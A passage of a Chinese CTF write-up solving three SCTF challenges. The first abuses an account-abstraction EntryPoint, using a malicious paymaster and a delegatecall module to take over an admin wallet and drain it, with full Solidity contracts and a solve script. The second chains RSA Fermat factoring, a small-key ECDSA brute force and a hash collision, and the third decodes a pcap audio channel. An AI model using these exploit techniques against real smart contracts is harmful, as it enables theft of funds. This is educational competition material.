UserOperation[] calldata ops,
address payable beneficiary
) external {
uint256 opsLength = ops.length;
_executionPhaseFlag = 1;
for (uint256 i = 0; i < opsLength; i++) {
_validatePrepayment(i, ops[i]);
_cacheSenderContext(ops[i]);
}
_executionPhaseFlag = 2;
for (uint256 i = 0; i < opsLength; i++) {
_executeUserOp(i, ops[i]);
}
_executionPhaseFlag = 0;
_payBeneficiary(beneficiary);
}
它会先验证同一个 batch 中所有 UserOperation,再执行所有 UserOperation。这意味着如果第一个 op 在 validation 阶段修改了第二个 op 的验证环境,第二个 op 会在同一个 handleOps() 调用中立刻受影响。
paymaster validation 中的高权限入口
EntryPoint._validatePrepayment() 在处理 paymasterAndData 时,会设置 _inPaymasterValidation = true:
if (op.paymasterAndData.length > 0) {
address paymaster = _extractPaymaster(op.paymasterAndData);
_lastPaymaster = paymaster;
_inPaymasterValidation = true;
IPaymaster(paymaster).validatePaymasterUserOp(op, opHash, 0);
_inPaymasterValidation = false;
} else {
_lastPaymaster = address(0);
}
而 adminUpdateModule() 只检查当前是否处于 paymaster validation:
function adminUpdateModule(address account, address newModule) external override {
require(_inPaymasterValidation, "EP: only during paymaster validation");
(bool success, ) = account.call(
abi.encodeWithSignature("updateValidationModule(address)", newModule)
);
require(success, "EP: module update failed");
emit ModuleUpdated(account, newModule);
}
这里没有限制调用者必须是可信 paymaster,也没有限制只能更新当前 op 的 sender。因此,只要我们让攻击者账户发起一个带恶意 paymaster 的合法 op,就可以在 paymaster validation 期间调用:
entryPoint.adminUpdateModule(adminAccount, maliciousModule);
从而把 adminAccount 的 validationModule 改成攻击者部署的恶意模块。
BaseAccount 的 delegatecall
BaseAccount.validateUserOp() 中,如果 validationModule != address(0),会先调用 _delegateToModule():
if (validationModule != address(0)) {
_delegateToModule(userOp, userOpHash);
}
if (entryPoint.preApprovedSenders(address(this))) {
require(userOp.nonce == nonce, "BaseAccount: invalid nonce");
nonce++;
return 0;
}
_validateSignature(userOp, userOpHash);
_delegateToModule() 使用的是 delegatecall:
function _delegateToModule(
UserOperation calldata userOp,
bytes32 userOpHash
) internal {
bytes memory data = abi.encodeWithSignature(
"preValidate(address,bytes32)",
userOp.sender,
userOpHash
);
(bool modSuccess, ) = validationModule.delegatecall(data);
if (!modSuccess) {
validationModuleFlag = 0;
} else {
unchecked {
validationModuleFlag += 1;
}
}
}
由于是 delegatecall,恶意 module 的代码会在 BaseAccount 的 storage 上下文中执行。
BaseAccount 的 storage 布局如下:
address public owner; // slot 0
uint48 public validationModuleFlag; // slot 1 low bits
address public validationModule; // slot 1 remaining bits
IEntryPoint public immutable entryPoint;
uint256 public nonce; // slot 2
所以恶意 module 只需要执行:
sstore(0, attacker)
即可把 adminAccount.owner 改成攻击者地址。随后 BaseAccount._validateSignature() 会用新的 owner 验证签名:
require(
recovered == owner,
"BaseAccount: invalid signature"
);
于是攻击者可以用自己的私钥伪造通过 adminAccount 的签名检查。
UserOperation 哈希
题目中的 EntryPoint 对 UserOperation 的哈希计算如下:
bytes32 opHash = keccak256(abi.encode(
op.sender,
op.nonce,
keccak256(op.initCode),
keccak256(op.callData),
op.callGasLimit,
op.verificationGasLimit,
op.preVerificationGas,
op.maxFeePerGas,
op.maxPriorityFeePerGas,
keccak256(op.paymasterAndData)
));
写成公式为:
其中:
账户实际验证的是 Ethereum signed message 格式:
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", userOpHash)
);
即:
因此脚本里需要先计算 opHash,再计算带前缀的 digest,最后用玩家私钥签名 digest。
利用流程
攻击分成两个 UserOperation,放在同一个 handleOps() batch 中。
第一个 op:
sender = attackerAccount- 使用攻击者私钥正常签名
paymasterAndData = address(maliciousPaymaster)- paymaster validation 时调用:
entryPoint.adminUpdateModule(adminAccount, maliciousModule);
这一步会把 adminAccount.validationModule 改成恶意 module。
第二个 op:
sender = adminAccountcallData = adminAccount.execute(player, adminBalance, "")- 签名仍然使用攻击者私钥
第二个 op validation 时,adminAccount 会先 delegatecall 恶意 module。恶意 module 把 adminAccount.owner 改成攻击者地址,之后签名校验自然通过。执行阶段再把 adminAccount 的余额转给玩家。
关键点是两个 op 必须在同一个 handleOps() 中提交。因为 handleOps() 会先 validation 所有 op,所以第一个 op 在 validation 中安装 module,第二个 op 在 validation 中利用 module。
解题代码
ExploitContracts.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./IAccount.sol";
import "./IEntryPoint.sol";
contract ModuleDropper {
address immutable newOwner;
constructor(address _newOwner) {
newOwner = _newOwner;
}
function preValidate(address, bytes32) external {
address owner_ = newOwner;
assembly {
sstore(0, owner_)
}
}
}
contract GatePaymaster {
address immutable entryPoint;
address immutable targetAccount;
address immutable module;
constructor(address _entryPoint, address _targetAccount, address _module) {
entryPoint = _entryPoint;
targetAccount = _targetAccount;
module = _module;
}
function validatePaymasterUserOp(
UserOperation calldata,
bytes32,
uint256
) external returns (bytes memory context, uint256 validationData) {
require(msg.sender == entryPoint, "bad entrypoint");
IEntryPoint(entryPoint).adminUpdateModule(targetAccount, module);
return ("", 0);
}
function postOp(uint8, bytes calldata, uint256) external {}
}
solve.sh
#!/usr/bin/env bash
set -euo pipefail
: "${RPC_URL:?set RPC_URL}"
: "${PRIVATE_KEY:?set PRIVATE_KEY}"
: "${SETUP:?set SETUP}"
PLAYER="$(cast wallet address --private-key "$PRIVATE_KEY")"
ENTRYPOINT="$(cast call "$SETUP" 'entryPoint()(address)' --rpc-url "$RPC_URL")"
ADMIN_ACCOUNT="$(cast call "$SETUP" 'adminAccount()(address)' --rpc-url "$RPC_URL")"
ATTACKER_ACCOUNT="$(cast call "$SETUP" 'attackerAccount()(address)' --rpc-url "$RPC_URL")"
ATTACKER_NONCE="$(cast call "$ATTACKER_ACCOUNT" 'nonce()(uint256)' --rpc-url "$RPC_URL")"
ADMIN_NONCE="$(cast call "$ADMIN_ACCOUNT" 'nonce()(uint256)' --rpc-url "$RPC_URL")"
ADMIN_BALANCE="$(cast balance "$ADMIN_ACCOUNT" --rpc-url "$RPC_URL")"
echo "[*] player $PLAYER"
echo "[*] setup $SETUP"
echo "[*] entryPoint $ENTRYPOINT"
echo "[*] adminAccount $ADMIN_ACCOUNT"
echo "[*] attackerAccount $ATTACKER_ACCOUNT"
echo "[*] adminBalance $ADMIN_BALANCE wei"
MODULE="$(forge create ExploitContracts.sol:ModuleDropper \
--rpc-url "$RPC_URL" \
--private-key "$PRIVATE_KEY" \
--broadcast \
--constructor-args "$PLAYER" \
| awk '/Deployed to:/ {print $3}')"
PAYMASTER="$(forge create ExploitContracts.sol:GatePaymaster \
--rpc-url "$RPC_URL" \
--private-key "$PRIVATE_KEY" \
--broadcast \
--constructor-args "$ENTRYPOINT" "$ADMIN_ACCOUNT" "$MODULE" \
| awk '/Deployed to:/ {print $3}')"
echo "[*] module $MODULE"
echo "[*] paymaster $PAYMASTER"
ATTACKER_CALL="$(cast calldata 'execute(address,uint256,bytes)' 0x000000000000000000000000000000000000dEaD 0 0x)"
ADMIN_CALL="$(cast calldata 'execute(address,uint256,bytes)' "$PLAYER" "$ADMIN_BALANCE" 0x)"
PM_DATA="$PAYMASTER"
userop_hash() {
cast keccak "$(cast abi-encode \
'f(address,uint256,bytes32,bytes32,uint256,uint256,uint256,uint256,uint256,bytes32)' \
"$1" "$2" \
"$(cast keccak 0x)" \
"$(cast keccak "$3")" \
200000 300000 50000 1000000000 1000000000 \
"$(cast keccak "$4")")"
}
eth_message_hash() {
cast keccak "0x19457468657265756d205369676e6564204d6573736167653a0a3332${1#0x}"
}
ATTACKER_HASH="$(userop_hash "$ATTACKER_ACCOUNT" "$ATTACKER_NONCE" "$ATTACKER_CALL" "$PM_DATA")"
ADMIN_HASH="$(userop_hash "$ADMIN_ACCOUNT" "$ADMIN_NONCE" "$ADMIN_CALL" 0x)"
ATTACKER_SIG="$(cast wallet sign --no-hash --private-key "$PRIVATE_KEY" "$(eth_message_hash "$ATTACKER_HASH")")"
ADMIN_SIG="$(cast wallet sign --no-hash --private-key "$PRIVATE_KEY" "$(eth_message_hash "$ADMIN_HASH")")"
OP1="($ATTACKER_ACCOUNT,$ATTACKER_NONCE,0x,$ATTACKER_CALL,200000,300000,50000,1000000000,1000000000,$PM_DATA,$ATTACKER_SIG)"
OP2="($ADMIN_ACCOUNT,$ADMIN_NONCE,0x,$ADMIN_CALL,200000,300000,50000,1000000000,1000000000,0x,$ADMIN_SIG)"
echo "[*] sending handleOps"
cast send "$ENTRYPOINT" \
'handleOps((address,uint256,bytes,bytes,uint256,uint256,uint256,uint256,uint256,bytes,bytes)[],address)' \
"[$OP1,$OP2]" \
"$PLAYER" \
--rpc-url "$RPC_URL" \
--private-key "$PRIVATE_KEY"
echo "[*] solved? $(cast call "$SETUP" 'isSolved()(bool)' --rpc-url "$RPC_URL")"
从题目服务启动实例:
nc 1.95.63.227 1337
选择 Launch new instance 后获得:
export RPC_URL=http://...
export PRIVATE_KEY=0x...
export SETUP=0x...
然后执行:
chmod +x solve.sh
./solve.sh
成功后会看到:
[*] solved? true
再回到 nc 服务选择 Get flag 即可。
本次远程执行的交易哈希:
0xd7ab7e13f9298b6a6bf95357b721a19016be8203bca84373395d573ffe8c5bcc
最终flag
SCTF{Krypt0n0r_0xccfa0_#3!(D1n0)@bc}
The Last Honest Witness
题目概览
核心目标是通过 claim(...),一次性满足三部分条件:
- 生成合法的 Groth16 proof,证明你知道某个匿名 witness 的明文、对应分解出的
p/q,并且它确实在链上的 Merkle tree 里。 - 额外解出 Page A / Page B / Page C 三页材料。
- 调用
claim(...)把 3 个 vault 一次性清空。
合约入口在 Challenge.sol。
关键观察
题面的误导很多,但真正有用的信息都已经明说了:
Setup的slot0~3分别是challenge / N / e / cWitnessRoot(bytes32 indexed merkleRoot)事件里有 Merkle rootposeidon_helper.js给出了 commitment、identity、leaf、node、nullifier 的全部构造规则- 电路
LastHonestWitness.circom只约束:p * q == modulusplaintext < modulusrecipientCommitment == Poseidon(1, plaintext)nullifierHash == Poseidon(5, identity, externalNullifier)- 用给定 path 能还原出
merkleRoot
也就是说,这题没有隐藏服务端状态,链上信息足够还原 witness。
主线解法
1. 从链上取实例参数
Setup 暴露 challenge(),storage 里直接存了实例 RSA:
slot 1 = modulus N
slot 2 = public exponent e
slot 3 = ciphertext c
此外,WitnessRoot 事件的 indexed topic 就是需要匹配的 Merkle root。
2. 分解实例 modulus
题目 README 的提示是:
The two guardians of the modulus were born almost at the same time.
这是明显的 Fermat factorization 提示,说明 p 和 q 很接近。
在实际求解实例中:
N = 615429951214616213145619887722161253
p = 784493436055779473
q = 784493436055795861
二者几乎贴着,Fermat 一步就开。
3. 解 RSA 明文
有了 p/q 之后直接算:
phi = (p - 1) * (q - 1)
d = e^{-1} mod phi
m = c^d mod N
本次实例的 witness 明文是:
plaintext = 474401937379412746004845
注意这里的 plaintext 是主 witness 的明文,不是 Page A 的答案。
4. 还原 witness commitment / nullifier / Merkle path
poseidon_helper.js 已经把树构造过程写全了:
commitment = Poseidon([1, plaintext])identitySecret = Poseidon([2, plaintext, p, q, externalNullifier])leaf = Poseidon([3, identitySecret, commitment])node = Poseidon([4, left, right])nullifierHash = Poseidon([5, identitySecret, externalNullifier])emptyLeaf(i) = Poseidon([6, i, externalNullifier])
其中:
externalNullifier = 48879
recipientCommitment = 9377985761090098792458769157668700179213141594497154267610801610404565099971
把上面的 plaintext 代进去后,生成出来的 commitment 正好等于题目给的 recipientCommitment,而且 Merkle root 能和链上 WitnessRoot 对上,说明主线闭环成立。
5. 生成 Groth16 proof
题目直接给了:
zk/LastHonestWitness.wasmzk/LastHonestWitness_final.zkey
所以不需要重新编电路,直接 snarkjs.groth16.fullProve(...) 即可。
proof 的 public signals 顺序就是:
[modulus, merkleRoot, recipientCommitment, nullifierHash, externalNullifier]
三页材料
Page A
题面给出同模的两条 RSA 关系:
c1 = m^3 mod n
c2 = (m + 1337)^3 mod n
这是 Franklin-Reiter / related message 类型。实际直接解出来:
pageAPlaintext = 25774616630246150697727911729
Page B
题面说:
pubX, pubY 来自一个不大的标量
x < 2^20
意思是私钥很小,直接在 secp256k1 上暴力离散对数即可。解得:
priv = 789123
随后对固定消息哈希做 ECDSA 签名,得到可过 ecrecover 的一组:
v = 28
r = 0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402
s = 0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a
Page C
题面只检查:
low40(keccak256(tag || a)) == low40(keccak256(tag || b))
而且要求:
a != ba, b < 2^32
只看低 40 bit,碰撞空间很小,生日攻击就够了。可用一组为:
left = 1656330
right = 2582757
利用脚本
我把完整利用逻辑写成了 solve.js。
它会自动完成:
- 从
Setup读N/e/c - 从
WitnessRoot事件读 Merkle root - 用 Fermat 分解
N - 解主 witness 的 RSA 明文
- 用
poseidon_helper.js还原 witness path - 生成 Groth16 proof
- 调
claim(...) - 输出交易哈希和
isSolved()
核心代码如下:
const fs = require("fs");
const path = require("path");
const { ethers } = require("ethers");
const snarkjs = require("snarkjs");
const { merkleData } = require("./poseidon_helper.js");
const RECIPIENT_COMMITMENT = 9377985761090098792458769157668700179213141594497154267610801610404565099971n;
const PAGE_A_PLAINTEXT = 25774616630246150697727911729n;
const PAGE_B_V = 28;
const PAGE_B_R = "0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402";
const PAGE_B_S = "0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a";
const PAGE_C_LEFT = 1656330n;
const PAGE_C_RIGHT = 2582757n;
const SETUP_ABI = [...];
const CHALLENGE_ABI = [...];
function isqrt(n) {
if (n < 2n) return n;
let x = 1n << BigInt((n.toString(2).length + 1) >> 1);
while (true) {
const y = (x + n / x) >> 1n;
if (y >= x) return x;
x = y;
}
}
function fermatFactor(n) {
let a = isqrt(n);
if (a * a < n) a += 1n;
for (let i = 0n; i < 10_000_000n; i++) {
const b2 = a * a - n;
const b = isqrt(b2);
if (b * b === b2) return [a - b, a + b];
a += 1n;
}
throw new Error("Fermat factorization did not converge");
}
function egcd(a, b) {
let x = 1n, y = 0n, u = 0n, v = 1n;
while (b !== 0n) {
const q = a / b;
[a, b] = [b, a - q * b];
[x, u] = [u, x - q * u];
[y, v] = [v, y - q * v];
}
return [a, x, y];
}
function invMod(a, m) {
const [g, x] = egcd(((a % m) + m) % m, m);
if (g !== 1n) throw new Error("value is not invertible");
return ((x % m) + m) % m;
}
function modPow(base, exponent, modulus) {
let result = 1n;
base %= modulus;
while (exponent !== 0n) {
if (exponent & 1n) result = (result * base) % modulus;
base = (base * base) % modulus;
exponent >>= 1n;
}
return result;
}
function rsaDecrypt(ciphertext, e, p, q) {
const n = p * q;
const phi = (p - 1n) * (q - 1n);
const d = invMod(e, phi);
return modPow(ciphertext, d, n);
}
async function getMerkleRoot(provider, setupAddress, challengeAddress) {
const rootFromStorage = BigInt(await provider.getStorage(challengeAddress, 3));
const topic = ethers.id("WitnessRoot(bytes32)");
const logs = await provider.getLogs({ fromBlock: 0, toBlock: "latest", topics: [topic] });
const matching = logs.filter((log) => log.address.toLowerCase() === setupAddress.toLowerCase());
if (matching.length !== 1) throw new Error(`expected 1 WitnessRoot log from setup, got ${matching.length}`);
return BigInt(matching[0].topics[1]);
}
async function makeProof(input) {
const base = __dirname;
const wasmPath = path.join(base, "zk", "LastHonestWitness.wasm");
const zkeyPath = path.join(base, "zk", "LastHonestWitness_final.zkey");
fs.writeFileSync(path.join(base, "input.json"), `${JSON.stringify(input, null, 2)}\n`);
const { proof, publicSignals } = await snarkjs.groth16.fullProve(input, wasmPath, zkeyPath);
const calldata = await snarkjs.groth16.exportSolidityCallData(proof, publicSignals);
return JSON.parse(`[${calldata}]`);
}
async function main() {
const [rpcUrl, setupAddress, privateKey] = process.argv.slice(2);
const provider = new ethers.JsonRpcProvider(rpcUrl);
const wallet = new ethers.Wallet(privateKey, provider);
const setup = new ethers.Contract(setupAddress, SETUP_ABI, provider);
const challengeAddress = await setup.challenge();
const challenge = new ethers.Contract(challengeAddress, CHALLENGE_ABI, wallet);
const modulus = BigInt(await provider.getStorage(setupAddress, 1));
const exponent = BigInt(await provider.getStorage(setupAddress, 2));
const ciphertext = BigInt(await provider.getStorage(setupAddress, 3));
const merkleRoot = await getMerkleRoot(provider, setupAddress, challengeAddress);
let [p, q] = fermatFactor(modulus);
const plaintext = rsaDecrypt(ciphertext, exponent, p, q);
let witness = await merkleData(p, q, plaintext);
if (witness.merkleRoot !== merkleRoot) {
witness = await merkleData(q, p, plaintext);
if (witness.merkleRoot !== merkleRoot) throw new Error("decrypted witness does not match Merkle root");
[p, q] = [q, p];
}
if (witness.commitment !== RECIPIENT_COMMITMENT) throw new Error("recipient commitment mismatch");
const [proofA, proofB, proofC, publicSignals] = await makeProof(witness.input);
const tx = await challenge.claim(
proofA,
proofB,
proofC,
publicSignals,
PAGE_A_PLAINTEXT.toString(),
PAGE_B_V,
PAGE_B_R,
PAGE_B_S,
PAGE_C_LEFT.toString(),
PAGE_C_RIGHT.toString(),
);
console.log(`tx = ${tx.hash}`);
await tx.wait();
console.log(`isSolved = ${await challenge.isSolved()}`);
}
// ...
运行方式:
npm install --cache ./.npm-cache
node solve.js "$RPC" "$SETUP" "$PRIVATE_KEY"
如果直接使用这里保存的完整脚本,还需要把 poseidon_helper.js、zk/LastHonestWitness.wasm、zk/LastHonestWitness_final.zkey 放在与脚本一致的相对路径下。
实际提交结果
本次实例:
RPC = http://1.95.63.227:5003
Setup = 0x5FbDB2315678afecb367f032d93F642f64180aa3
成功交易:
tx = 0xde7b8d47c4c1893a29409d3acce097b93cdd6ecfa10638a14ef592d3c9513fd2
isSolved = true
最终 flag:
SCTF{SYC_!ntern_Ray}
The music secret
题目给的是一个音乐平台的抓包,核心线索是“边缘缓存中的音乐与工作室归档不一致”。完整思路:从 PCAPNG 中重组两份 HTTP Range 传输的 WAV 文件,做 cache - studio 差分;差分信号按音乐节拍编码,中心脉冲幅度形成四进制符号流;用同步串切帧,Hamming(7,4) 纠错得到分块密文;再按边缘缓存 /cache 的首次 Range start 顺序生成 SHA256 key,循环 XOR 后得到 Base64,解码出 flag。
解压后只有一个文件:
stream.pcapng
从 HTTP 流里可以看到两个主要资源:
/edge/v1/assets/7/cache
/edge/v1/assets/7/studio
它们都是通过 HTTP Range 分块传输的同一首音频。相关接口还给了非常关键的提示:
X-Key-Schedule: sha256(agent|id|csv(first-seen-range-start))
X-Stream-FEC: hamming-7-4
X-Frame-Sync: 8-symbol
X-Frame-Fields: index,length
X-Frame-Check: crc16
X-Frame-Order: indexed-blocks
X-Capture-State: late-start,quota-stop
JSON body 里还有音乐节拍信息:
{
"bpm": 120,
"subdivision": 2,
"hint": "the rhythm remembers; order opens the cache",
"stream": "HTTP Range",
"title": "Stream of Sound"
}
其中最重要的几句是:
edge cache checksum differs from studio archive
first-seen-range-start
the rhythm remembers; order opens the cache
这说明两份音频的差异不是普通损坏,而是刻意把信息写在 cache 与 studio 的差分里;同时密钥不是按文件 offset 排序,而是按抓包里首次出现的 Range start 顺序生成。
每个 /cache 和 /studio 响应都有 Content-Range:
Content-Range: bytes 3194880-3211263/4330100
因此可以按 start 把 response body 放回对应位置,分别重组两份文件。
统计结果:
| 项目 | 数值 |
|---|---|
| HTTP transactions | 567 |
| asset range responses | 563 |
| cache responses | 282 |
| studio responses | 281 |
| 重组后文件大小 | 4,330,100 bytes |
重组出的两份文件都是 WAV:
| 文件 | SHA256 | 格式 |
|---|---|---|
cache.bin |
a7ca62bba3beb965225c923f272d0cc3c1e1f421932b02ffff639c80d80ee730 |
RIFF WAVE, float32, mono, 8000 Hz |
studio.bin |
d347ae49ff67b59bd78b9cf42c055ead1dac61b2d0dae787de6a42a7ae09cdae |
RIFF WAVE, float32, mono, 8000 Hz |
这里后缀虽然写成 .bin,但内容实际是 WAV。
题目给了:
bpm = 120
subdivision = 2
sample rate = 8000 Hz
所以每个编码 tick 的采样数为:
8000 * 60 / 120 / 2 = 2000 samples
计算:
diff = cache_samples - studio_samples
在每个 2000-sample tick 的开头附近,可以看到两个很小的正脉冲。真正用于主通道的是中心脉冲:
center position: 30..34
center amplitude: 约 0.9e-6 / 1.9e-6 / 2.9e-6 / 3.9e-6
把中心脉冲幅度乘以 1e7 后四舍五入,可以得到这组映射:
{9: 0, 19: 1, 29: 2, 39: 3}
也就是每个有效 tick 给出一个四进制符号 ca。
最终提取到:
521 个有效 ca 符号
HTTP header 提示:
X-Frame-Sync: 8-symbol
在 ca 四进制流中搜索重复出现的 8-symbol 串,能稳定找到:
sync = 31032101
出现位置:
[11, 127, 240, 295, 408]
对应 tick:
[13, 129, 242, 297, 410]
每个 sync 后面的帧结构为:
4 个 ca 符号:index,四进制
4 个 ca 符号:length,四进制,单位为 byte
后续 ca 符号:Hamming(7,4) 编码后的 payload / 校验尾部
例如第一帧 sync 后的 ca 开头是:
00010030333300003021...
拆成:
index = int("0001", 4) = 1
length = int("0030", 4) = 12
全部帧如下:
| 抓包内帧序号 | sync 后 ca 开头 | index | length | 帧内 ca 符号数 |
|---|---|---|---|---|
| 0 | 000100303333... |
1 | 12 | 108 |
| 1 | 000300300030... |
3 | 12 | 105 |
| 2 | 001000102222... |
4 | 4 | 47 |
| 3 | 000000303133... |
0 | 12 | 105 |
| 4 | 000200302121... |
2 | 12 | 105 |
这也解释了 X-Frame-Order: indexed-blocks:抓包里的帧顺序不是明文顺序,需要按 index 重排
ca 是四进制符号,因此自然可以看作两个 bit:
0 -> 00
1 -> 01
2 -> 10
3 -> 11
帧头 8 个 ca 符号之后,剩下的 ca 符号转成 bitstream,再每 7 bit 一组做 Hamming(7,4) 解码。
采用标准 Hamming(7,4) 排列:
[p1, p2, d1, p4, d2, d3, d4]
校验位:
p1 = d1 ^ d2 ^ d4
p2 = d1 ^ d3 ^ d4
p4 = d2 ^ d3 ^ d4
每个 7-bit codeword 选择距离最近的合法 codeword,恢复 4-bit nibble。两个 nibble 拼成一个 byte。
每帧解出来后,只取 length 指定的 payload 部分;后面的 1~2 字节是帧尾校验/残留字段,本题拿 flag 不需要参与拼接。题面里也提示了 late-start,quota-stop,所以脚本把这些尾部字节打印出来做调试信息,但不把它们拼进密文。
Hamming 解码结果:
| 抓包内帧序号 | index | length | Hamming 错误距离总和 | payload hex | 尾部残留 |
|---|---|---|---|---|---|
| 0 | 1 | 12 | 7 | f0992009d3e1b89e965e8841 |
024d |
| 1 | 3 | 12 | 7 | ecc6b5560ea7adbacd89791b |
fa |
| 2 | 4 | 4 | 4 | d783cfc8 |
27 |
| 3 | 0 | 12 | 7 | f3499140dd9bad4a09828fe3 |
66 |
| 4 | 2 | 12 | 6 | 4d2e353fc6d8f9f5c414e665 |
73 |
按 index 排序后拼接,得到 52 字节密文:
f3499140dd9bad4a09828fe3f0992009d3e1b89e965e88414d2e353fc6d8f9f5c414e665ecc6b5560ea7adbacd89791bd783cfc8
生成 key:只取 cache 的 first-seen Range start
题目 header 写的是:
sha256(agent|id|csv(first-seen-range-start))
题目描述强调的是:
边缘缓存中的音乐与工作室归档不一致
并且 hint 是:
order opens the cache
所以 first-seen-range-start 应该只取边缘缓存 /cache 请求,不要把 /studio 混进去
实际取值:
agent = StreamClient/2.1
id = 7
csv = cache 请求中首次出现的 Range start,按抓包出现顺序去重
cache 的首次 Range start 共 280 个。前 20 个是:
3194880,2686976,3817472,3932160,1948160,2244608,1277952,3096576,1359872,1949696,1622016,80384,2801664,3801088,2211840,2375680,3866624,1196032,4127232,81920
最后 10 个是:
2129920,3227648,2965504,4292608,3309568,1032192,2605056,2259456,2736128,458752
最终 key material:
StreamClient/2.1|7|3194880,2686976,3817472,...,2736128,458752
SHA256:
a679df158ff5d9306dcac58fa9ce116fb1d2f2f5cc06c2272f796353a290b793
解密与 Base64,把 52 字节密文与 SHA256 key 循环 XOR:
plain_b64 = bytes(c ^ key[i % len(key)] for i, c in enumerate(ciphertext))
得到:
U0NURntzdHJlYW1fb3JkZXJfbWVldHNfbm9pc3lfcmh5dGhtfQ==
Base64 解码:
SCTF{stream_order_meets_noisy_rhythm}
完整 solve 脚本
运行方式:
python3 solve_music_secret.py "The music secret.zip"
输出核心部分:
[+] key: a679df158ff5d9306dcac58fa9ce116fb1d2f2f5cc06c2272f796353a290b793
[+] ciphertext: f3499140dd9bad4a09828fe3f0992009d3e1b89e965e88414d2e353fc6d8f9f5c414e665ecc6b5560ea7adbacd89791bd783cfc8
[+] xor result: U0NURntzdHJlYW1fb3JkZXJfbWVldHNfbm9pc3lfcmh5dGhtfQ==
[+] flag: SCTF{stream_order_meets_noisy_rhythm}
#!/usr/bin/env python3
import base64, collections, hashlib, json, os, re, socket, struct, sys, tempfile, zipfile
from pathlib import Path
import numpy as np
def parse_pcapng(data: bytes):
off, endian = 0, '<'
pkts, n = [], 0
while off + 12 <= len(data):
btype, blen = struct.unpack_from(endian + 'II', data, off)
if blen < 12 or off + blen > len(data):
raise ValueError(f'bad pcapng block at {off}, type={btype}, len={blen}')
if btype == 0x0A0D0D0A: # Section Header Block
bom = data[off + 8:off + 12]
if bom == b'\x4d\x3c\x2b\x1a':
endian = '<'
elif bom == b'\x1a\x2b\x3c\x4d':
endian = '>'
elif btype == 6: # Enhanced Packet Block
iface, tsh, tsl, caplen, origlen = struct.unpack_from(endian + 'IIIII', data, off + 8)
pstart = off + 28
pkts.append((n, (tsh << 32) | tsl, data[pstart:pstart + caplen]))
n += 1
off += blen
return pkts
def ipstr(b: bytes) -> str:
return socket.inet_ntoa(b)
def tcp_segments(pkts):
segs = []
for idx, ts, pkt in pkts:
if len(pkt) < 14 or struct.unpack('!H', pkt[12:14])[0] != 0x0800:
continue
ipoff = 14
verihl = pkt[ipoff]
if verihl >> 4 != 4:
continue
ihl = (verihl & 0x0f) * 4
total = struct.unpack('!H', pkt[ipoff + 2:ipoff + 4])[0]
if pkt[ipoff + 9] != 6:
continue
src, dst = ipstr(pkt[ipoff + 12:ipoff + 16]), ipstr(pkt[ipoff + 16:ipoff + 20])
toff = ipoff + ihl
sport, dport = struct.unpack('!HH', pkt[toff:toff + 4])
seq, ack = struct.unpack('!II', pkt[toff + 4:toff + 12])
doff = ((struct.unpack('!H', pkt[toff + 12:toff + 14])[0] >> 12) & 0x0f) * 4
payload = pkt[toff + doff:ipoff + total]
segs.append({'idx': idx, 'src': src, 'dst': dst, 'sport': sport, 'dport': dport,
'seq': seq, 'payload': payload})
return segs
def reassemble(parts):
items = [(s['seq'], s['idx'], s['payload']) for s in parts if s['payload']]
if not items:
return b''
items.sort(key=lambda x: (x[0], x[1]))
out = bytearray()
end = items[0][0]
for seq, idx, payload in items:
if seq > end:
out.extend(b'\x00' * (seq - end))
end = seq
skip = max(0, end - seq)
if skip < len(payload):
out.extend(payload[skip:])
end += len(payload) - skip
return bytes(out)
def http_transactions(pcapng_path: str):
segs = tcp_segments(parse_pcapng(open(pcapng_path, 'rb').read()))
flows = collections.defaultdict(lambda: collections.defaultdict(list))
for s in segs:
a, b = (s['src'], s['sport']), (s['dst'], s['dport'])
key = tuple(sorted([a, b]))
direction = (s['src'], s['sport'], s['dst'], s['dport'])
flows[key][direction].append(s)
txs = []
for key, dirs in flows.items():
req = resp = b''
first = 10 ** 9
for direction, ss in dirs.items():
stream = reassemble(ss)
first = min(first, min(x['idx'] for x in ss))
if direction[3] == 80 or stream.startswith(b'GET'):
req = stream
elif direction[1] == 80 or stream.startswith(b'HTTP'):
resp = stream
if req or resp:
txs.append((first, req, resp))
txs.sort(key=lambda x: x[0])
return txs
def parse_headers(raw: bytes):
text = raw.decode('latin1', 'replace')
lines = text.split('\r\n')
headers = {}
for line in lines[1:]:
if ':' in line:
k, v = line.split(':', 1)
headers[k.lower()] = v.strip()
return lines[0] if lines else '', headers, text
def recover_assets(pcapng_path: str):
ranges = []
agent, asset_id = None, None
for ti, (first, req, resp) in enumerate(http_transactions(pcapng_path)):
if b'\r\n\r\n' not in req or b'\r\n\r\n' not in resp:
continue
req_head, _ = req.split(b'\r\n\r\n', 1)
resp_head, body = resp.split(b'\r\n\r\n', 1)
req_line, req_headers, req_text = parse_headers(req_head)
_, resp_headers, _ = parse_headers(resp_head)
m = re.match(r'GET (\S+) HTTP/', req_line)
if not m:
continue
path = m.group(1)
if not path.startswith('/edge/v1/assets/'):
continue
if agent is None:
agent = req_headers.get('user-agent')
mid = re.search(r'/assets/(\d+)/(cache|studio)$', path)
if mid and asset_id is None:
asset_id = mid.group(1)
cr = resp_headers.get('content-range', '')
mcr = re.search(r'bytes (\d+)-(\d+)/(\d+)', cr)
if not mcr:
continue
start, end, total = map(int, mcr.groups())
asset = 'cache' if path.endswith('/cache') else 'studio'
ranges.append({'ti': ti, 'first': first, 'asset': asset, 'path': path,
'start': start, 'end': end, 'total': total, 'body': body})
assets = {}
for asset in ('cache', 'studio'):
rs = [r for r in ranges if r['asset'] == asset]
total = max(r['total'] for r in rs)
buf = bytearray(total)
cov = bytearray(total)
for r in rs:
start, end, body = r['start'], r['end'], r['body']
buf[start:start + len(body)] = body
cov[start:start + len(body)] = b'\x01' * len(body)
if sum(cov) != total:
raise RuntimeError(f'{asset}: incomplete reconstruction, covered {sum(cov)}/{total}')
assets[asset] = bytes(buf)
return assets, ranges, agent, asset_id
def extract_ca_symbols(cache_wav: bytes, studio_wav: bytes):
# WAV: 44-byte header, float32 little-endian samples, 8000 Hz mono.
cache = np.frombuffer(cache_wav[44:], dtype='<f4')
studio = np.frombuffer(studio_wav[44:], dtype='<f4')
diff = cache - studio
symbols = []
tick = 2000 # 8000 * 60 / 120 / 2
amp_to_ca = {9: 0, 19: 1, 29: 2, 39: 3}
